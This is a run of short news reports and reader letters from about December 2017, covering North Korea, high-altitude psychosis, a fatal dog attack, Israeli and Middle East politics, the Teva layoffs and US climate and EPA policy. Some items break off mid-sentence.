"We are committed to a resolution, we want the resolution to be peaceful. But, as the president has said, all options are on the table and we have to be prepared if necessary to compel the denuclearization of North Korea without the cooperation of that regime."

Trump's first National Security Strategy released Monday, declared that "North Korea seeks the capability to kill millions of Americans with nuclear weapons."

"Continued provocations by North Korea will prompt neighboring countries and the United States to further strengthen security bonds and take additional measures to protect themselves."
The highest mountains can drive those climbing them temporarily mad.

Now, researchers say, these psychotic episodes constitute a person's own medical condition and may be distinct from altitude sickness.

"Mountains are maddeningly beautiful, but we did not expect that they can drive us to madness," said study co-author Dr. Hermann Brugger, head of the Institute of Mountain Emergency Medicine at Eurac Research in Bolzano, Italy, told Live Science. The researchers detailed their findingsonline Dec. 5 in the journal Psychological Medicine.

Future research on this disorder could shed lights on other episodes of temporary psychosis, researchers say.

Mountain voices

At extreme altitudes, mountaineers often mention experiencing psychosis  that is, a mental disorder where a person becomes out of touch with reality. Symptoms of psychotic episodesinclude hallucinations and delusions.

For instance, when mountaineer and anesthetist Dr. Jeremy Windsor was climbing Mount Everestin 2008, he underwent a strange experience common in extreme mountaineering. Alone in the Himalayas at an altitude of more than 5.1 miles (8.2 kilometers), Windsor hallucinated a man called Jimmy, who accompanied him all day long, spoke encouraging words to him and then vanished without a trace.

Until now, doctors have generally thought such psychotic episodes were symptoms of altitude sickness, alongside severe headaches, dizziness and impaired balance. Altitude sickness results from the shortage of oxygen experienced at high altitudes, and can trigger a potentially lethal buildup of fluid in the lungs or brain.

But in the new analysis, Windsor and his colleagues found that "isolated high-altitude psychosis" may be its own medical condition, one distinct from altitude sickness.

To arrive at that conclusion, the researchersanalyzed data from 83 psychotic episodes at high altitudes collected from German mountain literature. They found a list of psychotic symptoms, such as hearing voices, that were linked to altitude but very clearly not always connected to any physical symptoms of altitude sickness or past mental illness.

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"Those persons who suffer from these episodes at high altitude are otherwise completely healthy  they are not prone to psychosis," Brugger said.

Isolated high-altitude psychosis was most likely to occur at heights exceeding 22,965 feet (7,000 meters) above sea-level, the researchers found. They remain unsure of what may cause it  perhaps causes similar to ones behind altitude sickness, such as oxygen deficiency or early stages of swelling in certain areas of the brain.

It's also possible the cause isn't due to the altitude at all.

"It is also known that complete deprivation of social contact and loneliness for a long time can provoke hallucinations," Brugger said.

Instant recovery

The symptoms of this syndrome apparently disappeared completely as soon as mountaineers left the danger zone, the researchers wrote in the study. "They completely recovered," Brugger said.

Still, this syndrome was clearly linked to a significant risk of accidents, "and even a little mistake can be fatal at extreme altitudes," Brugger said. "It is important that climbers are aware of this risk, that they know these hallucinations are not real, that these effects are reversible, and to find some coping measures during their climbs."

Scientists could seek to simulate these cases of temporary psychosis by placing volunteers in chambers that simulate extreme altitudes using low oxygen and low air pressure.

"This could help shed light on temporary psychosis in general," Brugger said.

In March, the researchers plan to collaborate with Nepalese doctors at Mount Everest's base camp to find out how often isolated high-altitude psychosis might occur.

"They will use questionnaires to collect data from climbers who come down from Everest," Brugger said.

Originally published on Live Science.

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Bethany Lynn Stephens was found being guarded by her pitbulls

A woman in the US has been mauled to death by her own pitbulls in an absolutely grisly attack.

Bethany Lynn Stephens, 22, was found by her father who went looking for her in a wooded area where she often walked the dogs in Goochland, Virginia.

It was there he found his daughter and her two very large pitbulls guarding her body.

Goochland County sheriff James Agnew said Stephens cause of death was consistent with being mauled by these dogs.

Agnew added that he has ruled out murder.

He said it appeared to be a violent attack initiated by the victims dogs while the victim was out for a walk with the dogs.

It appears she was taken to the ground, lost consciousness, and the dogs then mauled her to death.

He added: It was an absolutely grisly mauling. In my 40 years of law enforcement Ive never seen anything quite like it.

I hope I never see anything like it again.

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Barbara Norris, one of Stephens best friends, said I wasnt able to see the body, so I cant tell you what happened.

I cant tell you if it was a blunt force or if it was a mauling, but I know those dogs didnt do it.

Agnew estimated that each dog weighed about as much as Stephens, who was 5 ft 1 and weighed 125 pounds.

Stephens father called the sheriffs office when he hadnt seen her in a day. He said he found the dogs aggressively protecting her body.

Dr Amy Learn, a veterinarian at Cary St Veterinary Hospital, said she did not know Stephens or her dogs, but says many questions need to be answered.

I think the investigation needs to be ongoing, Learn said. Dogs dont typically just out of the blue attack their owners, so there is typically some kind of provocation.

Story continues

Was there somebody else there? Were they being attacked by somebody, were they trying to defend themselves and their owner from somebody else, from a wild animal?

Was it actually something else that attacked the owner? Were there stray dogs, coyotes [or] something else in the woods, Learn said.
No charges in recent social media threat, though teen could be in trouble for violating probation
ZILLAH, Wash. -- In what appears to be the third officer-involved shooting in the Yakima Valley this year, a man was shot by a Zillah police o
A delegation of five Bollywood directors and producers visited Israel recently to scout out potential film locations.

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Some of the many famous sites the group visited included: the Mahane Yehuda Market, Jerusalem's Old City, the Dead Sea, Rothschild Blvd. in Tel Aviv, Old Acre and the Carmel forests.

Indian films in Israel

The delegation conducted meetings with leading members of the Israeli cinema industry and government representatives.

They discussed options for cooperating on films and possible perks that Israel would grant in the event that they choose to shoot a film in Israel.

"The members of the delegation were wowed by the variety of scenery in Israel and how, during a two hour journey, they went from a desert climate to the lush green coastal region," said Temi Ben Chaim, coordinator of the project for the Foreign Ministry.

"What the participants found most exciting was the straightforward Israeli approach which is very fitting for Bollywood," she added.
Federal leadership on climate change is severely lacking. Withdrawing from the Paris climate agreement sets a dangerous precedent for Americans, and is a clear attempt to force our country to rely on dirty energy sources.

This is not only environmentally damaging, but economically risky, as studies show coal, oil and gas are on the decline, while renewable energy is providing more and more jobs every day.

Fortunately, many U.S. cities are taking action when our federal government wont, and moving forward with climate solutions that create 21st century clean energy jobs and reduce pollution. Thirty six cities signed the Chicago Charter, outlining their commitment to cut carbon pollution and meet the Paris agreement goals.

With state and local leadership, this country can meet its climate change commitments and seize the economic opportunities that go with a transition to a clean energy economy. Heres to hoping Montana leadership is up to the challenge to keep up with the rest of the country.

Holly Seymour,

Missoula
The Prime Minister's son, Yair Netanyahu, filed a libel suit against Molad: The Center for the Renewal of Israeli Democracy, a progressive Israeli think tank, demanding more than NIS 130,000 in compensation for slander, infringement of privacy and damages for publications that defame him.

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According to his lawyer Yossi Cohen, the Molad Institute published false statements about the prime minister's son under the heading "5 things you did not know about Yair Netanyahu."

Yair Netanyahu (Photo: Motti Kimchi)

In a post published on the Facebook page "61", it was written that young Netanyahu does not work for a living and lives in his parents' home at the expense of the taxpayer, and enjoys heavy security seven days a week, 24 hours a day.

In addition, the post contained a picture of Yair Netanyahu dressed as clown with crown on his head.

Cohen claims that the image is slanderous and noted that the post was funded in order to increase its exposure on the social network.

He also said that in the trial he would argue that "the defendant's strong and fierce hatred of Netanyahu" drove them to "attempt to harm and humiliate him at any cost while crossing red lines."

Molad said in response to the lawsuit that it is intended to intimidate and silence them.

"Not only are we not frightenedwe congratulate the prosecution, which gives us a rare opportunity to discover in the legal process what Yair Netanyahu really does at the Prime Minister's Office, how much the citizens pay for his security on his trips abroad and what his true connections with billionaire James Packer are.

"In addition, we read in the lawsuit that the representatives of Yair Netanyahu asserts that we harmed his profession. Maybe now we'll finally find out what that is."

In August, Molad filed a NIS 140,000 defamation suit against the son of the prime minister , demanding compensation of NIS 140,000, as well as publishing an apology and erasing a post he published on his Facebook page, in which he called the organization "the Fund for the Destruction of Israel," "anti-Zionist" and even equated them to cancer.

The suit stated that "Netanyahu committed an injustice against the plaintiff in an abominable, cynical, vile, evil and uninhibited manner, with the aim of trying to shame the plaintiff, to shed her blood, to harm her image and reputation, to sabotage her activity and to defame her in public through false statement that have not a grain of truth in them."

The lawyers noted that Netanyahu acted obsessively to harm Molad and to publicly tarnish its name out of "malice and wickedness for its own sake," adding that "among other things the defendant committed cynical and cruel use of his public standing as the son of the Israeli prime minister with the aim of inciting the public against the Plaintiff."
WASHINGTON  Vice President Mike Pence on Monday postponed his trip to Egypt and Israel until mid-January, citing the need to preside over the Senate on a sweeping tax overhaul. His decision came amid an uproar in the Middle East over the Trump administration's decision to designate Jerusalem as Israel's capital.

Pence will instead travel to the Middle East during the week of Jan. 14 so he can be in the Senate for Tuesday's expected tax vote.

Senior White House officials said the uncertainty of the timing of the Senate vote could have pushed back Pence's schedule in Egypt and Israel, and the vice president felt it was important to be in the Senate in case he was needed to break a tie vote.
WASHINGTON - US Vice President Mike Pence on Monday again postponed his trip to Israel and Egypt until mid-January, citing the need to preside over the Senate on a sweeping tax overhaul. His decision came amid an uproar in the Middle East over the Trump administration's decision to designate Jerusalem as Israel's capital.

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Pence will instead travel to the Middle East during the week of January 14, so he can be in the Senate for Tuesday's expected tax vote.

Senior White House officials said the uncertainty of the timing of the Senate vote could have pushed back Pence's schedule in Egypt and Israel, and the vice president felt it was important to be in the Senate in case he was needed to break a tie vote.

US Vice President Mike Pence (Photo: Reuters)

Pence had been expected to depart for Egypt on Tuesday night, followed by a visit to Israel and then a meeting with US troops in Germany. The vice president's office had originally planned to leave on Saturday night for Israel but pushed back his departure because of the pending tax bill.

The schedule shift follows President Donald Trump's December 6 announcement recognizing Jerusalem as Israel's capital, which prompted Palestinian officials and leading Muslim and Christian clerics in Egypt to refuse to meet with Pence , forcing him to adjust his schedule.

Palestinian President Mahmoud Abbas had originally intended to meet with Pence but pulled out of the meeting after denouncing Trump's decision. Abbas had originally planned to host Pence, a devout Christian, in the biblical West Bank town of Bethlehem.

Trump's decision countered an international consensus that Jerusalem's status should be decided in negotiations between Israel and the Palestinians, who claim east Jerusalem as the capital of their future state.

The vice president had been scheduled to be in Cairo on Wednesday for a meeting with Egyptian President Abdel-Fattah al-Sisi and was expected to arrive in Israel later Wednesday for a visit to the Western Wall.

Pence had been slated to hold meetings Thursday with Prime Minister Benjamin Netanyahu and deliver an address to the Knesset. Pence was ending his trip to Israel with a meeting with President Reuven Rivlin and a visit to the Yad Vashem Holocaust memorial.

But White House officials said any delay in the tax vote might have prevented the vice president from departing Washington on time and complicated a tightly-orchestrated set of meetings in Egypt and Israel.

Republicans, who hold a narrow 52-48 majority in the Senate, are expected to pass the bill by a narrow margin amid unified Democratic opposition, but White House officials said the vice president did not want to take any chances. Pence would cast a vote in case of a tie.

"The vice president is committed to seeing the tax cut through to the finish line," said Alyssa Farah, Pence's press secretary, in a statement. She said Pence "looks forward to traveling to Egypt and Israel in January."

Jason Greenblatt, Trump's envoy to the Middle East, will still arrive in Israel as planned to hold talks on promoting the peace process.
IDF and Border Police forces overnight Monday arrested Ahed Tamimi, one of the two Palestinian girls filmed provoking and beating Israeli soldiers during protests in the Palestinian village of Nabi Salih.

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Tamimi was taken in for questioning by police, rather than Shin Bet, for her actions.

The video, taken during a weekly demonstration held in the village this past Friday, showed soldiers displaying restraint in the face of slaps, pushes and kicks by the Palestinians, who attempted to entrap them to respond.





Tamimi being arrested by Border Policewomen (Photo: IDF Spokesperson's Unit)

Defense Minister Avigdor Lieberman said Tuesday morning that Ahed Tamimi will not be the only one to bear the consequences of her actions, "her parents and her surroundings won't get away from what they deserve."

Speaking during a meeting with community heads on the Gaza border, the defense minister stressed that while "the IDF is the most humane army, upholding values that exist nowhere else, this humanity must not come at the expense of deterrence and strength."

He backed the soldiers who did not give in to the provocation, saying "The soldiers acted in accordance with the orders they received from above. If there is a problemit will be fixed."

Lieberman went on to say that Israel "would not allow any harm to soldiers and officers. We'll do what needs to be done. I will deal with this matter together with the Military Advocate General and the Chief of Staff."

"The most important thing is that those who carried out an offense during the day were arrested during the night," he added.

Tamimi's arrest by security forces (:  ")

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The IDF said that more than 200 Palestinians lobbed rocks at soldiers during the protest, adding, "Several Palestinians entered a nearby home and continued throwing rocks at soldiers from inside the home with its occupants' consent. Forces removed the rioters from the home and remained standing in the entrance in order to prevent further entry. Later, several Palestinian women came out to face the soldiers in order to incite provocation."

An initial inquiry held by the commander of the Rotem Battalion showed the company commander himself was present near the house to prevent additional rioters from entering it.

"The force's commander, who has operational jurisdiction, conducted himself professionally by not responding in kind, but the Palestinians could have been arrested at the time of the incident, considering they were physically violent and were disrupting the soldiers from carrying out their tasks," the inquiry said.

Friday's incident was caught on film

Tamimi is the daughter of one of Nabi Salih's most prominent activists, who is also one of the driving forces behind the weekly demonstrations.

In the video, Tamimi shouts at the soldiers to leave the courtyard they're standing in when an additional woman arrives and attempts to get between Tamimi and the soldiers, despite the fact they did nothing to respond.

Friday's incident was not the first time Tamimi was documented provoking soldiers. Several years ago she was filmed biting a soldier who came in to arrest her brother during a weekly Nabi Salih protest. In another instance, she was shown screaming at a member of Israel's security forces during a demonstration in an attempt to push him to lose his cool.

Footage of Friday's provocation

X

The IDF backed the soldiers, but said it was nevertheless reviewing whether the two girls could have been dealt with differently.

Bassem Tamimi, Ahed's father, wrote on his Facebook account early Tuesday that "IDF forces raided my home and arrested my daughter following the Israeli media's attack against her. They stole our phones, cameras and laptops and beat my wife and children. Free Ahed Tamimi!"

Tamimi's father made a Facebook post about her arrest

Tamimi's father told Ynet and Yedioth Ahronoth Monday that, "The soldiers entered the grounds of the house, started throwing gas grenades around and broke the house's windows. An hour prior to the incident, they beat a local young man, and there's even a possibility the soldiers who beat him were those two (soldiers seen in the video)."

The Tamimi patriarch said he was not surprised the soldiers maintained their composure and refrained from arresting his daughter. "Their conduct didn't impress me. He was shooting gas grenades and breaking windows movements before. Their conduct may seem humane at that instance, but I don't think their general conduct that day was humane. I'm proud of my daughter and what she did," he boasted.
The Palestinians plan on bringing to a vote at the UN General Assembly on Thursday a draft resolution calling on the US to revoke its recognition of Jerusalem as Israel's capital in an effort to embarrass the Trump administration.

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The same resolution, raised at the UN Security Council by Egypt, was vetoed by the Trump administration on Monday night. It received the support of the remaining 14 members of the council.

It was the first veto cast by the United States in the Security Council in more than six years. "We do it with no joy, but we do it with no reluctance," US Ambassador to the United Nations Nikki Haley said.

Palestinian President Abbas speaking at the UN General Assembly (Photo: Reuters)

"The fact that this veto is being done in defense of American sovereignty and in defense of Americas role in the Middle East peace process is not a source of embarrassment for us; it should be an embarrassment to the remainder of the Security Council," she added.

The UN draft resolution affirmed that "any decisions and actions which purport to have altered the character, status or demographic composition of the Holy City of Jerusalem have no legal effect, are null and void and must be rescinded in compliance with relevant resolutions of the Security Council."

Since the Palestinian Authority is a non-member observer state, it is bringing together a large group of nationsled by Bolivia and Turkeyto submit the resolution on its behalf.

"We are moving within 48 hours ... to call for an emergency meeting of the General Assembly," Palestinian Foreign Minister Riyad al-Maliki told reporters in Ramallah following the vote at the Security Council. He said the international community would "consider the decision by President Trump as null and void."

Israeli officials said the Palestinians were apparently trying to have the resolution draft go up to a vote during US Vice President Mike Pence's visit to Israel. The visit, however, was eventually postponed to mid-January

The resolution draft is expected to pass, as it would enjoy the support of the Muslim and Arab majority in the General Assembly.

Regardless, it would have no practical ramifications for Israel and would only be symbolicmeant to embarrass the Americans, who don't have veto right at the General Assembly.
Attorney General Avichai Mandelblit is expected to oppose Defense Minister Avigdor Lieberman's legislative initiative sentencing terrorists to death.

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Mandelblit has objected in the past to an initiative floated by Justice Minister Ayelet Shaked seeking to levy the same sentence on child murderers.

Historically, all of the country's attorneys general have objected to the death penalty, despite the fact it has existed and continues to exist in both civilian and martial codices.

AG Mandelblit expected to oppose Defense Minister Lieberman's death penalty bill (Photo: Alex Kolomoisky)

Benjamin Netanyahu and members of the Ministerial Committee for Legislation over a year ago following then-MK Lieberman's proposal, determined the death penalty was not a deterrent when it came to terrorists. Mandelblit's updated opinion will be submitted sometime this week, once again resisting capital punishment.

The judicial system maintains a clear and present trend among the countries in the developed world is to abolish the death penalty. "More than two thirds of the world's countries have abolished capital punishment. In the European Union, for instance, it's completely banned," judiciary sources said.

The only Western country to still carry out death sentence is the United States. "But even there, states have begun abolishing it, with only 31 states having capital punishment on their books today. Seven states abolished it in the past decade alone," the source said.

Mandelblit said Lieberman's bill did not stack up to Israel's official statements on the death penalty before international forums and the United Nations Human Rights Council's stance on Israel. The bill is therefore expected, he said, to spark international criticism.

Lieberman originally suggested the law while he was still an MK (Photo: Ariel Harmoni)

It was further intimated by the country's highest legal authority that an irreversible punishment should be avoided. He also stressed offenses carrying a penalty of death were enacted before the enactment of Basic Law: Human Dignity and Liberty, whose interpretation prohibits the death penalty. Mandelblit further determined that in light of the aforementioned reasoning, the bill aroused significant constitutional doubts.

The attorney general's opinion also described the current state of affairs in Israeli legislation, with only a limited number of offenses punishable by death, including those delineated in the Nazis and Nazi Collaborators (Punishment) Law, treason in the criminal code and certain offenses in the law governing military tribunals.

Nazi Adolf Eichmann is one of only two men to have been executed by Israel in its entire history (Photo: Mili Gon, GPO)

All of the above were enacted before Basic Law: Human Dignity and Liberty and most of them stem from Mandatory legislation, absorbed into Israeli law at independence. Mandelblit also noted that throughout the country's almost 70-year history, the death penalty was carried out just twice: a 1948 drumhead court-martial finding Meir Tobianski guilty of treason and executing him by firing squadTobianski was later exonerated of all chargesand Nazi criminal Adolf Eichmann 's execution in 1962.

In addition, alleged Nazi criminal John Demjanjuk was convicted and sentenced to death by a district court but later acquitted on appeal by the Supreme Court.

Eichmann's case attested to the fact that since its inception, Israel has chosen to use the death penalty only on the most heinous of crimesgenocide. Tobianski's case, meanwhile, and to some extern also Demjanjuk's, reflect the problematic nature of the punishmentthe possibility of a mistaken verdict imposing an irreversible sentence.
ANKARA  Iran said on Tuesday President Donald Trump cannot cause its nuclear deal with six major powers to collapse.

"The nuclear deal will not collapse... Those who hope that Trump will cause its collapse, are wrong," Iranian President Hassan Rouhani said in a speech broadcast live on State TV.

In October, Trump declined to certify that Iran was complying with the nuclear agreement reached among Tehran, the United States and other powers in 2015. His decision triggered a 60-day window for Congress to decide whether to bring back sanctions on Iran.
Prime Minister Benjamin Netanyahu, acting in his capacity as foreign minister, instructed Israel's Ministry of Foreign Affairs to maintain its professional ties with the Austrian government after the far right Freedom Party , known for its anti-Semitic and neo-Nazi views, joined Chancellor Sebastian Kurz 's coalition.

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According to the Ministry of Foreign Affairs, "The prime minister has also instructed the Director General of the Ministry of Foreign Affairs to carry out a professional review regarding the manner in which Israel will conduct itself vis-a-vis the new government."

The practical meaning of this decision is that while Israel will continue boycotting the Freedom Party, it will maintain direct contact with Kurz's government.

Netanyahu and Austrian Chancellor Sebastian Kurz (Photo: AP)

efforts to hide them , according to a recent report.

Israeli right-wing officials, particularly in the Likud party, have claimed Freedom Party leader Heinz-Christian Strache was pro-Israel in his views, arguing it would be a mistake to lock horns with European right wing parties who see Israel as an ally.

Likud MK Yehuda Glick, for example, met with Strache last June, with the Austrian politician putting in writing a firm commitment to moving the Austrian embassy to Jerusalem in the event his party emerges victorious in the next elections.

Freedom Party leader Heinz-Christian Strache (Photo: AFP)

In 2012, Strache posted a caricature on Facebook showing a repulsive fat banker with a large hooked nose and what appeared to be Star of David patterns on his cufflinks. A year later, he was greeted with the Hitler salute by youths at an election rally.

Seventeen years ago, Israel recalled its ambassador to Austria after the Freedom Party joined the government.

As for now, Israel will maintain working relations with the professional echelons of the ministries headed by ministers from the Freedom Party, but not with the ministers themselves.

"The State of Israel wants to stress its full commitment to combating anti-Semitism as well as commemorating the Holocaust," said an official statement.
Israeli officials are pleased with the achievement in the International Criminal Courts decision in late November not to prosecute Israel over the deadly raid on a flotilla carrying humanitarian aid to the Gaza Strip in 2010, as announced by ICC prosecutor Fatou Bensouda.

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The Mavi Marmara ship left Turkey for Gaza in May 2010 despite the blockade imposed by Israel. Shayetet 13 naval commandos who stormed the ship outside Israels territorial water faced violent resistance, which ended with the death of nine of the Marmara passengers.

Prosecutor criticizes Pre-Trial Chamber for ignoring the violence resistance the soldiers encountered on the ship (Photo: IDF Spokesperson's Unit)

Three years later, in May 2013, the Union of the Comoros asked the ICC to launch an investigation into the incident. Prosecutor Bensouda held a preliminary examination, and decided about 18 months later not to initiate an investigation. She stated in her decision that there is a reasonable basis to believe that war crimes were committed by some members of the Israel Defense Forces, but ruled that the incident was "not of sufficient gravity.

The Unions of the Comoros, which was likely operated by Palestinian organizations, had trouble accepting this conclusion and appealed the decision. A Pre-Trial Chamber of the ICC accepted the request and asked the prosecutor to reconsider her decision, determining that she had made errors in her assessment of the gravity of the incident.

Upon renewing her examination, Bensouda was flooded with some 5,000 pages of additional material, including testimonies from more than 300 Marmara passengers and autopsy reports prepared by the Turks. The Israeli team, led by Attorney General Avichai Mandelblit (who served as the military advocate general at the time of the first examination) and his senior advisor, attorney Gil Limon, presented strong arguments. The main argument was that Israel had already investigated the matter and conducted all the required examinations, and so there was no room for another investigation.

In late November, Bensouda issued a statement in which she reaffirmed her initial decision not to open an investigation and rejected the criticism. She wrote that some of the people who had asked to become part of the proceeding as victims appeared to have received help in wording their testimonies, and not just in filling out forms. For example, she said, 206 victims used identical or similar terms to describe the people responsible for what happened on the Mavi Marmara, 60 victims used expressions which repeated themselves in an unlikely manner and 24 forms included no witness signature or identification mark, but only the stamp of a law firm that had represented the Union of the Comoros in the past in legal proceedings in the ICC.

ICC prosecutor Fatou Bensouda (Photo: AP)

Bensouda rejected other testimonies on the basis of some of the witnesses involvement in the acts of violence on board the Mavi Marmara and said others had provided testimonies on things they couldnt have possibly witnessed first-hand.

On the legal aspect, the prosecutor found there was no room for the Pre-Trial Chambers interference in her decision, claiming the judges sought to challenge her discretion rather than just examine if her considerations were reasonable.

Bensouda rejected the judges' analysis on how to examine the gravity of the IDF soldiers conduct on the ship. She believes the judges ignored the overall picture and that there was no room to determine that the flotilla activists were tortured, but only that they suffered an attack on their personal dignity, which is why there was no room for an investigation.

Bensouda further determined that the judges failed to properly address the context in which the IDF soldiers committed the alleged crimes and the violence resistance they encountered on the ship. She said the judges disregard of the activists resistance was particularly surprising in light of the fact that they determined that the IDF soldiers had used force which wasnt necessarily required. According to the prosecutor, even if live ammunition was used before the takeover, that doesnt necessarily point to the existence of a policy or plan to carry out crimes.

Israels most significant achievement, however, is convincing the prosecutor that it had investigated all aspects of the incident properly and thoroughly both in the army and in through the Turkel Commissionand drawn conclusions in a way that would make any additional investigation redundant.

Israel, like the United States, is not a member of the ICC in The Hague for old political reasons. Nevertheless, hundreds of complaints have been filed against Israel so far, mainly by Palestinian organizations. The decision rejecting the demand to launch an investigation into the Marmara incident was distributed by the court in Hebrew, Arabic and Turkish, so that all relevant parties would be able to read it in their mother tongue.
Prime Minister Benjamin Netanyahu is expected to meet Teva CEO Kare Schultz Tuesday afternoon in Jerusalem's Government Quarter and exhort the executive to close overseas production lines instead, in the wake of a massive plan to lay off a quarter of its workforce, including thousands of Israeli employees.

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The prime minister will ask Schultz for Teva to close production lines in Ireland, Lithuania and the United States over the Jerusalem ones, with focus on factories in the capital stemming from the fact Teva intended to close them altogether, rather than downsize them.

A further request Netanyahu will make of Schultz will be to decrease the number of employees laid off in other factories in Israel. Netanyahu's concern for other countries notwithstanding, he is expected to convey to Schultz Teva's Israeli employees expectedand should receivepreferential treatment.





PM Netanyahu and members of the ministerial committee will convene with Teva CEO Schultz to decide the company's future in Israel (Photo: Twitter, Reuters)

Netanyahu said state grants Israel can theoretically provide Teva with to allow it to continue operating in the country were not an option, since they would require legislative amendments, as current law stipulates grants may only be given for the creation of a new factory, something Teva cannot do in its current state.

The prime minister consolidated the aforementioned demands with members of a special ministerial committee, created to tackle the crisis that erupted at the pharmaceutical giant. Netanyahu met with the committee's membersFinance Minister Moshe Kahlon, Labor and Welfare Haim Katz, Minister of Jerusalem Affairs Ze'ev Elkin and Economy Minister Eli CohenMonday to coordinate positions in anticipation of their meeting with Schultz.

The fate of Teva's Jerusalem factories and employees will be decided Tuesday (Photo: Histadrut Spokesmanship)

One of the committee's members remarked anonymously Monday that Israel should be mindful of not coming off as "Israeli chutzpah" in "telling the CEO of a non-governmental company what to do."

The meeting between Schultz and the senior Israeli officials is expected to determine the future of the company and its activities in Israel. Teva's Danish CEO is expected to give the government officials his word to keep the company's center and management in Israel for the next few years. He may also consent to let Netanyahu and the ministers walk away with a tangible achievement in agreeing to reduce the number of firings by 200 employees.

"It's a meeting for all the marbles," one of the meeting's participants told Yedioth Ahronoth.

Teva factories nationwide have declared a strike for Tuesday, while some 2,000 employees demonstrated in the capital's Government Quarter in the afternoon, simultaneous to Netanyahu and the ministers' meeting with Schultz.

Teva employees protested in Jerusalem before Tuesday's meeting (Photo: Moshiko Tzemach)

Teva's employees did not wait until the meeting to make their intentions clear, however, blocking the entrance to the Har Hotzvim industrial zone earlier Tuesday, causing massive traffic jams in the area.

Employees chanted, "We're fighting for our home. What transpired in Amona will not happen again. We're ready to defend the factory with our lives."

The company's employees have been barricading themselves in the capital's two plants for the past two days, claiming that until they see an official signed letter decreeing Teva will stay in Jerusalem, they will not stop and even escalate their protest.

Itzik Ben Simon, chairman of the Teva tablet factory's workers' union, told his cohorts Tuesday morning, "Today is critical for us, it's the money time. After the prime minister and Teva CEO's announcement all of our plans may change."

Kahlon and Cohen's meeting with Nissankorn and labor union representatives

Another meeting on the matter took place Monday with Kulanu ministers Kahlon and Cohen, who met in Jerusalem's Ministry of Finance with Histadrut Labor Federation chairman Avi Nissankorn and representatives of Teva's workers' unions. Kahlon gave them his commitment "the government will use all tools at its disposal to reduce the number of layoffs."
The purpose of the U.S. Environmental Protection Agency is to protect the health of humans and the environment. Administrator Scott Pruitt consistently undermines the very principles of the agency that he is tasked with running. He has hastily rescinded more regulations in his first year than I can keep track of, regulations meant to keep our air and water clean.

Pruitts fiscal irresponsibility can no longer be ignored. The EPAs inspector general is launching his third investigation into Pruitts misuse of funding. Specifically, a $25,000 secrecy booth in his private office. He has made a habit of spending lavishly on himself, running up a total of $58,000 on private jets and military flights.

Pruitt is doing all he can to hide his backroom dealings with corporate polluters. Hes working to dismantle public health protections and wants to gut the EPA with drastic budget cuts that would decimate the agencys ability to protect Americans from dangerous pollution. He is making a mockery of the very agency he leads.

David Wilbert,

Missoula
PARIS  France and the United States are determined to "vigorously" raise pressure on Iran over its ballistic missile program, including possibly through sanctions, Foreign Minister Jean-Yves Le Drian said during a visit to Washington.

Le Drian was in the American capital on Monday to meet US Secretary of State Rex Tillerson, White House national security adviser H.R. McMaster and President Donald Trump's special adviser Jared Kushner.

Tensions between Iran and France have risen in recent months with both sides repeatedly trading barbs in public, including le Drian accusing Iran of "hegemonic temptations" in the region.

Iran on Sunday criticized President Emmanuel Macron over his tough stance toward Tehran and said Paris would soon lose its international credibility if it "blindly follows" President Trump.
The drizzle of missiles from the Gaza Strip at Israels southern communities has been going on for more than a week now. For the residents and their children, who are forced to run into bomb shelters, it doesnt feel like a drizzle but rather like ongoing torture.

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Since US President Donald Trumps recognition of Jerusalem as Israels capital, four Palestinians have been killed by IDF fire on the Gaza border, including a double amputee . Another round of fighting in the south wont take anyone by surprise, but this time we need to rethink the situation.

Both the IDF and the UN secretary-general agree that Gaza is on the verge, or beyond the verge, of a serious humanitarian crisis (Photo: AFP)

International law forbids the use of force between two states. The United Nations Charter states two basic exceptions to this rule: Self-defense and military measures approved by the UN Security Council to restore international peace and security. There is an agreement that self-defense could also include preventive measures, like the ones Israel took in the Six-Day War.

Recent decades have seen the development of a practice of another exception to the prohibition on use of forcehumanitarian intervention. The idea behind armed humanitarian intervention is that it is sometimes the international communitys duty to protect citizens from an intolerable situation of government abuse and atrocities, and that such an intervention could be legal even if it is not self-defense and even if it wasnt approved by the UN Security Councillike in the 1999 NATO bombing of Kosovo.

The Gaza Strip is not a state, but a semi-independent political entity. It is controlled by a violent fundamentalist organization, which forcibly seized power from the (unelected) Palestinian government.

The situation in Gaza is disastrous: About 95 percent of the water in the strip is undrinkable; huge amounts of wastewater are discharged into the sea following the sewage systems collapse; the unemployment rate is around 40 percent; there is no power most hours of the day; there is a chronic malnutrition crisis, mainly among children; and the health systems are on the verge of collapse.

Both the IDF and the UN secretary-general agree that Gaza is on the verge, or beyond the verge, of a serious humanitarian crisis . The reconciliation process between the Palestinian Authority and Hamas, which should have perhaps improved the situation in the strip, has basically collapsed.

Gaza is a semi-independent political entity controlled by a violent fundamentalist organization (Photo: Reuters)

This is a horrible situation, first and foremost for the Gazan citizens and children who are suffering tremendously. But when it comes to Israel, this situation has strategic and practical implications. It was Israel that initiated the basic change in the situation in Gaza, twice: First in the Oslo Agreements, and then in the disengagement. The Gazans supported Hamas, and they paid and keep paying a heavy price for itin the terror organizations cruel policy inside the strip and in Israels siege policy.

History and its lessons, however, wont change the basic situation: Gazas collapse and a humanitarian crisis in the strip will become Israels problem. Whether right or wrong, thats what will happen, and thats why the coordinator of government activities in the territories sent a letter to the UN warning of a humanitarian crisis in the strip. Furthermore, there is a possibility that Gaza will turn into Somalia, and if that happens, Hamas itself may lose its effective ability to control the different organizations in the strip which are now firing rockets at Israel.

There is a need for an international humanitarian intervention in the Gaza Strip, which will get rid of the Hamas rule one way or another. Israel is not a good candidate for such an intervention; it will be suspected of trying to reoccupy the strip from Hamas, its bitter enemy. It is perfectly clear that neither the Egyptians nor the Arab League or the PA forces would be interested in launching a military intervention, and its also clear that the Westwhich has grown weaker in the past decadewill have trouble doing so too.

Nevertheless, Israel should lead this approach as soon as possible and try to find supporters. It should explain that an Israeli humanitarian intervention is out of the question because of the countrys history of conflict with the strip, but that such an intervention is necessary and urgent. It is necessarily to restore security in the region, it is necessary for the souths residents, and it is certainly necessarily for millions of Gazan citizens who are living in hell. The world, Israel and Egypt cannot afford a Somalia or South Sudan in Gaza.
The Jerusalem District Court sentenced Tuesday morning 20-year-old Silwan resident Morad Rajbi, who wounded two Israelis in an October 2016 vehicular attack in Jerusalem, to 15 years in prison.

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Rajbi confessed and was convicted of attempted murder as part of a plea bargain. He was also ordered to pay the two people he wounded NIS 30,000 in restitution.

Rajbi decided to carry out the vehicular attack using his motorcycle and a kitchen knife on October 19, 2016, the amended indictment said. He rode his bike through the capital's Hebron Road at 6pm when he noticed two Jewish men with religious appearances, Yaakov Lomega and Vadim Blakitzki.





File photo (Photo: Israel Police)

